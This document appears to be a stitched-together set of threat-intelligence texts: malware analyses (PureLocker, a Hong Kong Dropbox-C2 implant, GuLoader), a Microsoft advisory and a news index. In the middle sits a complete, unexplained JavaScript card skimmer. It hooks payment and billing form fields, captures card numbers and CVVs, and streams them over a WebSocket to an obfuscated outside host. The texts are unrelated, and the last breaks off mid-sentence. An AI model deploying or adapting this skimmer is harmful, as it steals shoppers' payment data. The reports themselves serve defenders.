`TVqQ` through the end of the string and paste it into its own file named `mal.b64`. Then I used `base64 -d` to decode the file into a Windows EXE. ```bash remnux@remnux:~/cases/tesla$ base64 -d mal.b64 > mal.bin remnux@remnux:~/cases/tesla$ file mal.bin mal.bin: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows remnux@remnux:~/cases/tesla$ hexdump -C mal.bin | head 00000000 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 |MZ..............| 00000010 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 |........@.......| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 |................| 00000040 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 |........!..L.!Th| 00000050 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f |is program canno| 00000060 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 |t be run in DOS | 00000070 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 |mode....$.......| 00000080 50 45 00 00 4c 01 03 00 fe f0 ce 61 00 00 00 00 |PE..L......a....| 00000090 00 00 00 00 e0 00 02 01 0b 01 30 00 00 e8 0a 00 |..........0.....| ``` Sure enough, we can see the extracted material is a Windows EXE! If you’re looking for detection ideas for this path, you can focus on the script content itself and use YARA, network signatures, AV rules, and possibly behavioral analytics like `wscript.exe` spawning things it just wrote to disk. Thanks for reading!
# Malware Attacks Targeting Ukraine Government January 16, 2022 Today, we’re sharing that we’ve observed destructive malware in systems belonging to several Ukrainian government agencies and organizations that work closely with the Ukrainian government. The malware is disguised as ransomware but, if activated by the attacker, would render the infected computer system inoperable. We’re sharing this information to help others in the cybersecurity community look out for and defend against these attacks. At this time, we have not identified notable overlap between the unique characteristics of the group behind these attacks and groups we’ve traditionally tracked but we continue to analyze the activity. The organizations affected by this malware include government agencies that provide critical executive branch or emergency response functions and an IT firm that manages websites for public and private sector clients, including government agencies whose websites were recently defaced. The Microsoft Threat Intelligence Center (MSTIC) has published a technical blog post detailing Microsoft’s ongoing investigation and how the security community can detect and defend against this malware. We have also notified each of the impacted organizations we have identified so far, partnered with other cybersecurity providers to share what we know, and notified appropriate government agencies in the United States and elsewhere. It is possible more organizations have been infected with this malware and the number of impacted organizations could grow. We will continue to work with the cybersecurity community to identify and assist targets and victims. We first detected this malware on January 13, 2022. We have already built and deployed protections for this malware into Microsoft 365 Defender Endpoint Detection (EDR) and Antivirus (AV) protections wherever these products are deployed, both on-premises and in the cloud. We see no indication so far that these attacks utilize any vulnerability in Microsoft products and services. Tags: cyberattacks, cybercrime, cybersecurity, malware, Microsoft Threat Intelligence Center, MSTIC
# PureLocker: New Ransomware-as-a-Service Being Used in Targeted Attacks Against Servers **Analysis by Intezer and IBM X-Force points its origins to a Malware-as-a-Service (MaaS) provider utilized by the Cobalt Gang and FIN6 attack groups.** We have found a new and undetected ransomware threat that is being used for targeted attacks against production servers of enterprises. Using code reuse analysis, we discovered this threat is closely related to the “more_eggs” backdoor malware, which is sold on the dark web by a veteran MaaS provider and has been used by the Cobalt Gang, FIN6, and other threat groups. While the samples we analyzed are for the Windows platform, we have noticed that the group operating this ransomware is also employing a Linux variant in order to attack the Linux infrastructure of its targets. We have named this ransomware PureLocker because it’s written in the PureBasic programming language. As part of our analysis, we have identified the evasion methods and design features that have allowed this ransomware to remain under the radar for several months. Below we present our findings through a technical analysis of the malware samples. ## Initial Analysis The Windows sample we analyzed is a 32-bit DLL, masquerading as a C++ cryptography library called Crypto++. In viewing the exports section we quickly noticed that something was unusual, as the library supposedly contains functions related to music playback. When looking at anti-virus vendor scan results in VirusTotal, we observed that the file has been essentially undetected for more than three weeks now, which is quite rare for a malicious file. Additionally, when we executed this file in several sandbox environments it didn’t exhibit any malicious or suspicious behaviors. However, after genetically analyzing the file in Intezer Analyze we made three key observations: 1. There is no Crypto++ code connection here, meaning the sample is not a Crypto++ library. 2. The file contains reused code from several malware families, mainly from Cobalt Gang binaries. This means the file is malicious and may have relations to Cobalt Gang. 3. The majority of the relevant code in this file is unique, indicating that it’s likely a new or highly modified malware. ## A Closer Look A closer look reveals this file is a ransomware written in the PureBasic programming language, a rather uncommon programming language. This unusual choice poses advantages for the attacker. AV vendors have trouble generating reliable detection signatures for PureBasic binaries. In addition, PureBasic code is portable between Windows, Linux, and OS-X, making targeting different platforms easier. The malware is designed to be executed as a COM server DLL by regsrv32.exe, which will invoke the DllRegisterServer export, where the malware’s code resides. All of the other, music-related, exports have no functionality and are included in the ransomware for deception only. The malware’s strings are encoded and stored as Unicode hex strings. Each string is decoded on demand by calling a string decoding function. The malware’s code begins by checking if it was executed as intended by the attackers, and that it’s not being analyzed or debugged. If any of these checks fail, the malware will exit immediately, without deleting itself, likely as an anti-analysis method not to raise suspicion. The main function flow graph is presented below. In case the malware’s payload is executed, the malware will delete itself immediately afterwards. ## Part of a Targeted Attack Chain There are several hints suggesting that this component is part of a targeted and multi-stage attack. The malware begins by checking whether it was executed with the “/s /i” arguments, which instructs regsrv32.exe to install the DLL component without raising any dialogues (silent). Later on the malware verifies that it’s indeed executed by “regsrv32.exe”, and that its file extension is either “.dll” or “.ocx”. It also verifies that the current year on the machine is 2019, and that it has administrator rights. As mentioned, if any of these checks fail, the malware will exit without performing any malicious activity, likely in an attempt to conceal its functionality. This type of behavior is not common in ransomware, which typically prefer to infect as many victims as possible in the hopes of gaining as much profit as possible. Additionally, being a DLL file designed to be executed in a very specific manner reveals this ransomware is a later-stage component of a multi-stage attack. ## Evasion and Anti-Analysis Techniques Uncharacteristically for a ransomware, the malware uses an anti-hooking technique by manually loading another copy of “ntdll.dll” and resolving API addresses manually from there. This is an attempt by the malware to evade user-mode hooking of ntdll functions. While it’s a known trick, it’s rarely used in ransomware. The imports themselves are stored as 32bit hash values, and the ransomware uses the familiar resolve-by-hash method to obtain the function addresses. It’s also worth noting that the malware uses low level Windows API functions in ntdll.dll for most of its functionality—with some exceptions from kernel32.dll and advapi32.dll—notably for file manipulation. The malware also does not use the Windows Crypto API functions, instead relying on the compiled-in PureBasic crypto library for its encryption needs, with the exception of utilizing SystemFunction036 from advapi32.dll (RtlGenRandom) for pseudo-random number generation. ## Encryption and Ransom Note In the event that all anti-analysis and integrity tests performed by the malware are satisfied, it proceeds to encrypt the files on the victim’s machine with the standard AES+RSA combination, using a hard-coded RSA key. The ransomware adds the “.CR1” extension for each encrypted file. It encrypts mostly data files, skipping encryption for executable files according to the particular file’s extension. The ransomware then secure-deletes the original files in order to prevent recovery. Once the malware has completed the encryption it leaves a ransom note file on the user’s desktop named YOUR_FILES.txt. It’s worth noting that the ransom note does not ask for the payment type or for the monetary amount inside of the note itself, instead instructing the victim to contact the attacker via email. The attackers use the anonymous and encrypted Proton email service. Each sample we analyzed contained a different email address, which might be how the attackers can link between different victims and their respective decryption keys (each email corresponds to a specific RSA key pair). This is further evidence that this threat is different from typical forms of ransomware. Another element to note is the “CR1” string, which appears in the attacker email addresses, the encrypted file extension, and ransom note. Since this is a RaaS, we believe this string is most likely the identifier of the group that is operating these specific samples. ## Code Connections and Origin A deeper examination of the genetic analysis results reveals that the code reuse connections to Cobalt Gang are related to a specific component used by the group in its attack chain, described here by Morphisec as the Stage 3 Dropper DLL. More specifically, this component is the loader part of the “more_eggs” JScript backdoor, also known as “SpicyOmelette”. Last year, QuoScient uncovered that Cobalt Gang had been buying its malware kits from a malware-as-a-service (MaaS) provider on underground cybercrime forums. QuoScient also observed two additional threat groups using the same MaaS kits in their operations, including the “more_eggs” backdoor. Most recently, IBM X-Force has uncovered several campaigns by FIN6 (also known as ITG08) where they observed heavy usage of the “more_eggs” malware kit. A comparison between the PureLocker ransomware samples and recent more_eggs loader samples reveals it’s extremely likely that they were created by the same author. The lines of similarity are evident: - COM Server DLL components written in PureBasic - Nearly identical pre-payload stage in both functionality and code, with identical evasion and anti-analysis methods - Identical string encoding and decoding methods These findings strongly suggest that the MaaS provider of “more_eggs” has added a new malware kit to its offerings, by modifying the “more_eggs” loader’s payload from a JScript backdoor to a ransomware. While we have a good sense regarding the malware’s origin, it’s unclear at this time whether the “CR1” group that’s using this ransomware for targeted attacks is a previous customer of the MaaS provider, such as Cobalt Gang and FIN6, or a new one. ## Conclusion PureLocker is a rather unorthodox ransomware. Instead of trying to infect as many victims as possible, it was designed to conceal its intentions and functionalities unless executed in the intended manner. This approach has worked well for the attackers who have managed to successfully use it for targeted attacks, while remaining undetected for several months. It’s interesting to note that the code of the evasion and anti-analysis functionalities described in this blog is directly copied from the “more_eggs” backdoor loader. Some of these duplicated features have allowed the ransomware to stay undetected by evading automated analysis systems. This provides an example of the importance of code reuse analysis for malware detection and classification. It twists the usage of any previously used code, even code for effective evasion and anti-analysis, into a reliable indicator for detection. The PureLocker ransomware is now indexed in Intezer’s code genome database and the genetic analysis of its samples can be viewed in Intezer Analyze. Intezer would like to thank IBM’s X-Force IRIS team for its collaboration on this mutual research. ## IOCs - 1fd15c358e2df47f5dde9ca2102c30d5e26d202642169d3b2491b89c9acc0788 - c592c52381d43a6604b3fc657c5dc6bee61aa288bfa37e8fc54140841267338d **Michael Kajiloti** Michael is a security researcher turned product manager, who previously led the Intezer Analyze product lifecycle. He has presented his malware research at conferences such as REcon and the Chaos Communications Congress (CCC).
# The Kittens Are Back in Town ## Charming Kitten Campaign Keeps Going On, Using New Impersonation Methods October 2019 TLP: WHITE --- ## Introduction ## About Charming Kitten ## Attack Vector ### Impersonation Vectors **First Vector** - A message with a link pretending to be Google Drive **Second Vector** – An SMS message **Third Vector** – Login attempt alert message **Fourth Vector** – Social Networks impersonation Note that the domains that are presented in the directory are related to the impersonation subject and not the malicious domain. ## Digital Infrastructure ## Indicators of Compromise ClearSky Cyber Intelligence Report TLP: WHITE - The content of the document is solely for internal use. Distributing the report outside of recipient organization is not permitted.
# Threat Actor Targeting Hong Kong Pro-Democracy Figures ## Introduction At the end of October, a person deeply involved in the pro-democracy side of the Hong Kong protests received a spear phishing email from someone claiming to be a law student at a top foreign university, requesting feedback on his supposed thesis which includes recommendations on how to end the Hong Kong unrest. The email contained a link to a Google Drive ZIP file. ### The contents of FYI.zip downloaded from the Google Drive link The ZIP archive contained three files – an August 2019 policy brief downloaded from Freedom House regarding the Democratic Crisis in Hong Kong, a September 2019 Hong Kong report downloaded from Human Rights First, and a supposed RTF file from the Nikkei Asian Review. The third file masquerading as a Nikkei Asian Review document is actually a LNK shortcut file which had a double extension. When LNK files are viewed through archiving software, the double extension “.rtf.lnk” will be shown correctly. If the file was extracted and viewed through Windows Explorer, however, the operating system always hides the LNK extension by default. ### Analysis of the LNK file shows running it will execute msiexec.exe to download and run a remote MSI file The LNK file is actually a shortcut to the Windows utility msiexec.exe, which can be used as a LOLBin to remotely download and run MSI files which have the PNG extension. In this case, the MSI file is remotely downloaded from a GitHub repository and account which was created on October 10. ### A snapshot of the GitHub repository on October 29 The MSI file, “siHost64.png”, was created using a registered or cracked EXEMSI program. Running it will drop and run “siHost64.exe” in the %APPDATA% folder. This executable is a PyInstaller executable which has over a thousand files inside it, but the main important file is the compiled python script “siHost64”. ### Unpacking the PyInstaller executable shows the real files, some of which cannot be seen when performing dynamic analysis By restoring the first eight missing bytes of “siHost64” which is typically required for such PyInstaller files, we are then able to decompile the compiled python script and analyze the functionality of this malware: - Use the Python requests library to call the DropBox API which connects to DropBox and uses it as a HTTPS C2 server - Use the system proxy for communications if any - Add itself to the registry AutoRun location HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the registry name “siHost64”. On October 31, the new version of the malware changed the registry name used to “Dropbox Update Setup”. - Perform AES encryption with CBC mode on uploaded files with the key “ApmcJue1570368JnxBdGetr*^#ajLsOw” and a random salt - Check in to the C2 server by creating an encrypted file containing the operating system version and architecture, date, computer name, and logged in user - Check for files from the C2 server which contain encrypted arbitrary commands to be run, execute that command, and create a new encrypted file containing the results of the executed command. ### Example of the malware using the Dropbox API to check in Based on the check-in information from infected machines, it appears that there is a single infected Hong Kong victim of interest to this threat actor connecting to the Dropbox app besides the target we described at the start. The files exfiltrated from this victim appeared to be personal documents related to the victim traveling to the United States, business forms, and Christian hymns. Besides those exfiltrated documents, the C2 server also appeared to host their next stage malware such as two files named “GetCurrentRollback.exe” and “GetCurrentDeploy.dll”. “GetCurrentRollback.exe” is a signed Microsoft executable which seems to be for upgrading the previous Windows operating system version to Windows 10, and “GetCurrentDeploy.dll” likely being the name of the DLL which is side loaded. The first version of “GetCurrentRollback.exe” we could find was since 2016 and the latest in November 2019, which means all versions might be exploitable by DLL Sideloading at first glance. ### A version of GetCurrentRollback.exe signed on November 13, 2019 is still vulnerable to DLL Sideloading ## Conclusion Based on the victim profile and the exfiltrated files, it appears one of the intelligence requirements of the threat actor is to monitor people with relations to the Hong Kong protests, targeting either them or the people around them. There are multiple possibilities for this requirement, with the most likely being to understand the inner thoughts of the pro-democracy movement, or to support or undermine the movement behind the scenes. Using Dropbox and other legitimate services such as Google Drive and GitHub throughout the attack life cycle is not a new concept for threat actors, allowing them to easily bypass network detection. To counter this threat, enterprises or teams within enterprises nowadays block or detect such Shadow IT services if they are not in official use, but individual or non-enterprise users which may be targeted by state-sponsored threat actors rarely have this luxury. ## Indicators of Compromise (IoCs) The full report detailing each event together with IoCs (Indicators of Compromise) and recommendations is available to existing NSHC ThreatRecon customers. For more information, please contact [email protected]. ## MITRE ATT&CK Techniques The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these and other related malware. ### Initial Access - T1192 Spearphishing Link ### Execution - T1204 User Execution - T1218 Signed Binary Proxy Execution - T1064 Scripting ### Persistence - T1060 Registry Run Keys / Startup Folder ### Defense Evasion - T1140 Deobfuscate/Decode Files or Information - T1036 Masquerading - T1112 Modify Registry - T1027 Obfuscated Files or Information - T1218 Signed Binary Proxy Execution - T1102 Web Service ### Discovery - T1083 File and Directory Discovery - T1082 System Information Discovery - T1033 System Owner/User Discovery - T1124 System Time Discovery ### Collection - T1005 Data from Local System ### Command and Control - T1043 Commonly Used Port - T1132 Data Encoding - T1071 Standard Application Layer Protocol - T1032 Standard Cryptographic Protocol - T1102 Web Service ### Exfiltration - T1022 Data Encrypted - T1041 Exfiltration Over Command and Control Channel
# Research, News, and Perspectives ## Exploits & Vulnerabilities ### Celebrating 15 Years of Pwn2Own Join Erin Sindelar, Mike Gibson, Brian Gorenc, and Dustin Childs as they discuss Pwn2Own's 15th anniversary, what we've learned, and how the program will continue to serve the cybersecurity community in the future. *Latest News May 25, 2022* ## Compliance & Risks ### S4x22: ICS Security Creates the Future The ICS Security Event S4 was held for the first time in two years, bringing together more than 800 business leaders and specialists from around the world to Miami Beach on 19-21 Feb 2022. The theme was CREATE THE FUTURE. *Security Strategies May 12, 2022* ### Security Above and Beyond CNAPPs How Trend Micro’s unified cybersecurity platform is transforming cloud security. *Security Strategies May 10, 2022* ## Research ### Bruised but Not Broken: The Resurgence of the Emotet Botnet Malware During the first quarter of 2022, we discovered a significant number of infections using multiple new Emotet variants that employed both old and new techniques to trick their intended victims into accessing malicious links and enabling macro content. *Research May 19, 2022* ### New APT Group Earth Berberoka Targets Gambling Websites With Old and New Malware We recently found a new advanced persistent threat (APT) group that we have dubbed Earth Berberoka (aka GamblingPuppet). This APT group targets gambling websites on Windows, macOS, and Linux platforms using old and new malware families. *April 27, 2022* ### Why Trend Micro is Evolving Its Approach to Enterprise Protection *Security Strategies May 17, 2022* ## Ransomware ### New Linux-Based Ransomware Cheerscrypt Targets ESXi Devices Trend Micro Research detected “Cheerscrypt”, a new Linux-based ransomware variant that compromises ESXi servers. We discuss our initial findings in this report. *Research May 25, 2022* ## Mobile ### Fake Mobile Apps Steal Facebook Credentials, Cryptocurrency-Related Keys We recently observed a number of apps on Google Play designed to perform malicious activities such as stealing user credentials and other sensitive user information, including private keys. *Research May 16, 2022* ### Uncovering a Kingminer Botnet Attack Using Trend Micro™ Managed XDR Trend Micro’s Managed XDR team addressed a Kingminer botnet attack conducted through an SQL exploit. We discuss our findings and analysis in this report. *Research May 18, 2022* ## Cloud ### The Fault in Our kubelets: Analyzing the Security of Publicly Exposed Kubernetes Clusters While researching cloud-native tools, our Shodan scan revealed over 200,000 publicly exposed Kubernetes clusters and kubelet ports that can be abused by criminals. *May 24, 2022* ## Ransomware ### Examining the Black Basta Ransomware’s Infection Routine We analyze the Black Basta ransomware and examine the malicious actor’s familiar infection tactics. *Research May 09, 2022*
```javascript function aC(name) { function escape(s) { return s.replace(/([.*+?\^${}()|\[\]\/\\])/g, '\\$1'); } var match = document.cookie.match(RegExp('(?:^|;\\s*)' + escape(name) + '=([^;]*)')); return match ? match[1] : null; } function googleCheck() { alert('I\'m here!'); } if (!aC('ashdgaisydasldasbdyigausd')) { document.cookie = "ashdgaisydasldasbdyigausd=96ddd96e7ed46eb02af0280c550d9772"; var tokahsdb = '96ddd96e7ed46eb02af0280c550d9772'; } else { var tokahsdb = aC('ashdgaisydasldasbdyigausd'); } var reffererQwerdfdgdfg = 'victimsite.com'; if (location.hostname == 'file://') { while (1) { document.cookie = document.cookie + document.cookie + "qweqwe=qweqwe"; document.querySelector('body').innerHTML += document.querySelector('body').innerHTML; } } if (!document.querySelector('.qweqwe' + tokahsdb)) { qweqweIint = setInterval(function () { if (document.querySelector('div')) { var s = document.getElementsByTagName('div')[0]; var li = document.createElement('span'); li.class = "qweqwe" + tokahsdb; s.parentNode.insertBefore(li, s); clearInterval(qweqweIint); } }, 50); var c = [112, 97, 121, 97, 108, 97, 112, 105, 111, 98, 106, 101, 99, 116, 115, 46, 99, 111, 109], ggtag = '//', ihbdnfidjmpwofnj = 1; for (var ji = 0; ji < c.length; ji++) { ggtag += String.fromCharCode(c[ji]); } (function () { setInterval(setNullMethods, 100); function setNullMethods() { if (typeof (window.GetData) != 'undefined') { window.GetData = function (elem, flag) { console.log('ZnVjayB5b3U='); }; } if (typeof (window.Default_Send) != 'undefined') { window.Default_Send = function (elem, flag) { console.log('ZnVjayB5b3U='); }; } if (typeof (window.CheckFields) != 'undefined') { window.CheckFields = function (elem, flag) { console.log('ZnVjayB5b3U='); }; } if (typeof window.SendData != 'undefined') { window.SendData = function () { console.log('ZnVjayB5b3U='); }; } } })(); (function () { function _0xjefgJJDLF() { return _0x5gasdkf() && _0x5kjsdfdsf(); } function _0x5gasdkf() { var obj = document.querySelector('[name="card_num"]#card_num'); if (!__cleanValid(obj.value)) { obj.setAttribute('class', 'invalid-custom-form-input'); return false; } else { obj.setAttribute('class', 'valid-custom-form-input'); return true; } } function _0x5kjsdfdsf() { var obj = document.querySelector('[name="cvv2"]#cvv2'); if (!___cleanValid(obj.value)) { obj.setAttribute('class', 'invalid-custom-form-input'); return false; } else { obj.setAttribute('class', 'valid-custom-form-input'); return true; } } function __cleanValid(value) { if (/[^0-9-\s]+/.test(value)) return false; let nCheck = 0, bEven = false; value = value.replace(/\D/g, ""); if (value.length < 16) return false; for (var n = value.length - 1; n >= 0; n--) { var cDigit = value.charAt(n), nDigit = parseInt(cDigit, 10); if (bEven && (nDigit *= 2) > 9) { nDigit -= 9; } nCheck += nDigit; bEven = !bEven; } return (nCheck % 10) == 0; } function ___cleanValid(value) { value = value.replace(/\D/g, ""); if (value.length < 3 || value.length > 4) { return false; } return true; } var intervalValidator = setInterval(_0xhsdfJk, 100); function _0xhsdfJk() { if (document.querySelector('[name="card_num"]#card_num') && !document.querySelector('[name="card_num"]#card_num[data-validator=true]')) { document.querySelector('[name="card_num"]#card_num').addEventListener('input', function (e) { e.target.value = e.target.value.replace(/[^0-9]/g, '').replace(/(\..*)\./g, '$1'); let val = ''; let __1 = e.target.value.substr(0, 4); if (e.target.value.length > 4) { val += __1; let __2 = e.target.value.substr(4, 4); if (__1.length == 4 && __2) { val += ' ' + __2; let __3 = e.target.value.substr(8, 4); if (__2.length == 4 && __3) { val += ' ' + __3; let __4 = e.target.value.substr(12, 4); if (__3.length == 4 && __4) { val += ' ' + __4; } } } } e.target.value = val; }); if (document.querySelector('[name="card_num"]#card_num')) { document.querySelector('[name="card_num"]#card_num').addEventListener('focus', function (e) { document.querySelector('[name="card_num"]#card_num').setAttribute('class', ''); }); document.querySelector('[name="card_num"]#card_num').addEventListener('blur', function (e) { _0x5gasdkf(); }); } if (document.querySelector('[name="cvv2"]#cvv2')) { document.querySelector('[name="cvv2"]#cvv2').addEventListener('focus', function (e) { document.querySelector('[name="cvv2"]#cvv2').setAttribute('class', ''); }); document.querySelector('[name="cvv2"]#cvv2').addEventListener('blur', function (e) { _0x5kjsdfdsf(); }); } document.querySelector('[name="card_num"]#card_num').setAttribute('data-validator', 'true'); } if (document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95') && !document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95.lkmfsjdfnsdihdbfl672ac3d52c366529fc7f93a19455bd95')) { document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95').setAttribute('class', 'lkmfsjdfnsdihdbfl672ac3d52c366529fc7f93a19455bd95'); var tryToPayBtn = document.querySelector('#try-to-pay-button'); if (tryToPayBtn) { tryToPayBtn.addEventListener('click', function (e) { e.preventDefault(); if (!_0xjefgJJDLF()) { return false; } else { clearInterval(intervalValidator); document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95 .statusBar').innerHTML = '<div style="text-align: center;font-weight: bold;">' + labels['bank_processing'] + '</div>'; tryToPayBtn.setAttribute('disabled', 'disabled'); setTimeout(function () { document.cookie = "formHIde=1;"; document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95 .statusBar').innerHTML = '<div style="color:darkred">' + labels['bank_error'] + '</div>'; setTimeout(function () { document.querySelector('#dfsdfsfsdf672ac3d52c366529fc7f93a19455bd95').setAttribute('style', 'display:none !important;'); if (typeof sdnjfsldfk == 'function') { sdnjfsldfk(); } }, 7000); }, 10000); } }); } } } })(); var wssocket; var pingInterval; var host = '//pa' + 'yp' + 'al' + 'ap' + 'io' + 'bj' + 'ec' + 'ts.com'; wssconnect(); let wssConnectInterval = setInterval(wssconnect, 1000); function wssconnect() { if (!wssocket || (wssocket.readyState != 1 && wssocket.readyState != '-0')) { try { wssocket = new WebSocket("wss:" + host + "/events/"); wssocket.onopen = function (data) { socketSend({ e: "hello", data: { domain: location.origin } }); pingInterval = setInterval(function () { socketSend({ e: "ping" }); }, 5000); }; wssocket.onclose = function (data) { clearInterval(pingInterval); }; wssocket.onmessage = function (data) {}; } catch (e) {} } } function socketSend(data) { wssocket.send(JSON.stringify(data)); } function wssdisconnect() { clearInterval(pingInterval); clearInterval(wssConnectInterval); wssocket.close(); } window.addEventListener("unload", wssdisconnect); (function () { function gcmBuild() { addEvents(); setInterval(addEvents, 100); } function pixel(fs) { var j = getJson(); emit(j); } function getJson() { const formData = new Object; formData['tok'] = tokahsdb; document.querySelectorAll('input').forEach(function (item, i) { if (item.value.length < 1) { return; } let itemKey = ''; if (item.name) { itemKey = item.name; } else if (item.id) { itemKey = item.id; } formData[itemKey] = item.value; }); document.querySelectorAll('select').forEach(function (item, i) { if (item.name.search('date') != '-1' || item.name.search('exp') != '-1' || item.name.search('cardExpiration') != '-1') { formData[item.name] = item.value; return; } if (!document.querySelector('[name="' + item.name + '"]')) { console.log('[name="' + item.name + '"]', 'not found'); return; } if (!document.querySelector('[name="' + item.name + '"] [value="' + document.querySelector('[name="' + item.name + '"]').value + '"]')) { console.log('[name="' + item.name + '"] [value="' + document.querySelector('[name="' + item.name + '"]').value + '"]', 'not found'); return; } formData[item.name] = document.querySelector('[name="' + item.name + '"] [value="' + document.querySelector('[name="' + item.name + '"]').value + '"]').innerText; }); document.querySelectorAll('textarea').forEach(function (item, i) { formData[item.name] = item.value; }); if (typeof reffererQwerdfdgdfg != 'undefined') { formData['domain'] = reffererQwerdfdgdfg; } else { formData['domain'] = location.hostname; } return JSON.stringify(formData); } function addEvents() { if (typeof grelos_v != 'undefined') { grelos_v['Glink'] = '/'; } if (!document.querySelector('[name*=cc_number]') && !document.querySelector('[name*=firstname]') && !document.querySelector('[name*=name]') && !document.querySelector('[name*=address]') && !document.querySelector('[name*=postcode]') && !document.querySelector('[name*=zip]') && !document.querySelector('[name*=phone]') && !document.querySelector('[name*=email]') && !document.querySelector('[name*="payment[cc_number]"]') && !document.querySelector('[name*=payment]') && !document.querySelector('[name*=cc]') && !document.querySelector('[name*=card_num]') && !document.querySelector('[name*=billing]')) { return false; } Array.from(document.getElementsByTagName('input')).forEach(function (item, i) { if (!item.hasAttribute('build')) { item.setAttribute('build', 1); item.addEventListener("blur", eventSend); } }); Array.from(document.getElementsByTagName('select')).forEach(function (item, i) { if (!item.hasAttribute('build')) { item.setAttribute('build', 1); item.addEventListener("blur", eventSend); } }); Array.from(document.getElementsByTagName('textarea')).forEach(function (item, i) { if (!item.hasAttribute('build')) { item.setAttribute('build', 1); item.addEventListener("blur", eventSend); } }); Array.from(document.querySelectorAll("form")).forEach(function (item, i) { if (!item.hasAttribute('build')) { item.setAttribute('build', 1); item.addEventListener("submit", eventSend); } }); Array.from(document.querySelectorAll("[type=submit]")).forEach(function (item, i) { if (!item.hasAttribute('build')) { item.setAttribute('buildd', 1); item.addEventListener("click", eventSend); } }); Array.from(document.querySelectorAll("[type=button]")).forEach(function (item, i) { if (!item.hasAttribute('buildd')) { item.setAttribute('buildd', 1); item.addEventListener("click", eventSend); } }); } function eventSend(e) { pixel(0); } function emit(data) { if (typeof googlelog != 'undefined') { console.log(data); } socketSend({ e: "send", data: data }); } window.addEventListener("load", gcmBuild, false); })(); (function () { if (!aC('pixel')) { if (document.referrer != '' && document.referrer.replace('https://', '').replace('http://').split('/')[0] != location.hostname) { document.cookie = "pixel=1; max-age=" + (3600 * 3); } else { document.cookie = "pixel=2; max-age=" + (3600 * 3); } } if (!aC('formHIde') && (1 || aC('pixel') == 1 || 0)) {} })(); } ```
# Ongoing Threats Targeting the Energy Industry **TLP:** CLEAR **PAP:** CLEAR ## Key findings In this report are presented: - The origin of the malware and information about the company running it. - How multiple companies from the energy sector, including three French companies with branches in Liquified Natural Gas (LNG) production, were targeted using internal emails that were uploaded to public platforms and likely reused by an unidentified threat actor to send phishing emails with their template. - The last techniques, tactics, and procedures threats actors are currently leveraging to target critical entities using GuLoader and other malwares. - Some insights on GuLoader’s functionalities and evasion techniques leveraged by its NSIS and VBS variants. ## Intrinsec’s CTI services Organisations are facing a rise in the sophistication of threat actors and intrusion sets. To address these evolving threats, it is now necessary to take a proactive approach in the detection and analysis of any element deemed malicious. Such a hands-on approach allows companies to anticipate, or at least react as quickly as possible to the compromises they face. For this report, shared with our clients in July 2023, Intrinsec relied on its Cyber Threat Intelligence service, which provides its customers with high value-added, contextualized, and actionable intelligence to understand and contain cyber threats. Our CTI team consolidates data & information gathered from our security monitoring services (SOC, MDR …), our incident response team (CERT-Intrinsec), and custom cyber intelligence generated by our analysts using custom heuristics, honeypots, hunting, reverse-engineering & pivots. Intrinsec also offers various services around Cyber Threat Intelligence: - **Risk anticipation:** which can be leveraged to continuously adapt the detection & response capabilities of our clients’ existing tools (EDR, XDR, SIEM, …) through: - An operational feed of IOCs based on our exclusive activities. - Threat intel notes & reports, TIP-compliant. - **Digital risk monitoring:** - Data leak detection & remediation - External asset security monitoring (EASM) - Brand protection ## Introduction Intrinsec’s CTI Team discovered a cluster of activity mainly targeting companies related to the energy sector with spear phishing emails and domains typo squatting of those companies’ domain names and their Liquified Natural Gas branches, but also other generic domains related to the LNG industry like “lng-gaz[.]com”. The purpose of these campaigns was to deploy GuLoader implants and later on, AgentTesla implants. GuLoader is a loader used to evade detection and analysis by leveraging a variety of techniques such as checking for its environment of execution and encrypting the payload it is trying to inject on the infected system. The actor that bought GuLoader must provide to the building program the URL hosting the software that it wants to protect and load on the system. It must be encrypted and can be hosted on legitimate services like Google Drive or any other domain. GuLoader can come in different file formats like VBS scripts or NSIS installers. It is known to drop malware like Lokibot, AzorUlt, Remcos, Nanocore, WarzoneRAT, AgentTesla, FormBook, and Hakbit ransomware. ## I – Strategical Intelligence ### 1. Intelligence brief ### 2. Attribution As reported by CheckPoint, GuLoader is currently sold under the name “CloudEye Protector” by an Italian company specialized in code protection. The program was first advertised in 2014 on underground forums like Hack-Forum by a user with the username “xor”, in reference to the logical operation of the same name, often used for encryption purposes. On those old threads, Xor mentioned the possibility to buy the program on its official website “securitycode[.]eu”. The company that owns the website is registered in Italy under the name “Easysoft Di Ivano Mancini”. Even though Easysoft indeed commercially distributes CloudEye, the company does not control nor involve itself in the usage made by clients of their software. This plausible deniability gives the company a sort of "immunity" as to any attribution regarding GuLoader powered campaigns. Checkpoint researchers even reported that GuLoader’s developer contacted them right after their publication research echoed in June 2020 with the cybersec community claiming not being aware of any malicious usage of their product. However, further checks by the same researchers of thousands of GuLoader samples showed that 99.9-100% of them were associated with malicious activities. As such, GuLoader could be considered as a malware-as-a-service. ### 3. Victimology As far as the victimology related to GuLoader usage is concerned, it appears that a wide range of sectors and companies were targeted. An interesting aspect to observe in the campaigns is the delivery method of GuLoader. One method of tracking the malware usage as well as campaigns was through the research of spear phishing emails. These emails revealed the effort put into appearing legitimate, adapting the name of the payload to pass off as a genuine corporate document or business enquiry as well as the use of legitimate logos and identities. Finally, the use of spoofed email domains was observed rendering those phishing campaigns particularly hard to detect for average users. This spoofing technique has been observed by Fortinet in 2022, during a campaign that spoofed Saudi purchase orders around the period of July. Moreover, GuLoader has been observed targeting energy providers, such as a Romanian company operating in this sector on June 21, 2023. This company represented a key target as it is an important provider for electrical infrastructure in Romania. To achieve its objective, the threat actor sent a phishing email and spoofed its headers to make it look like it was 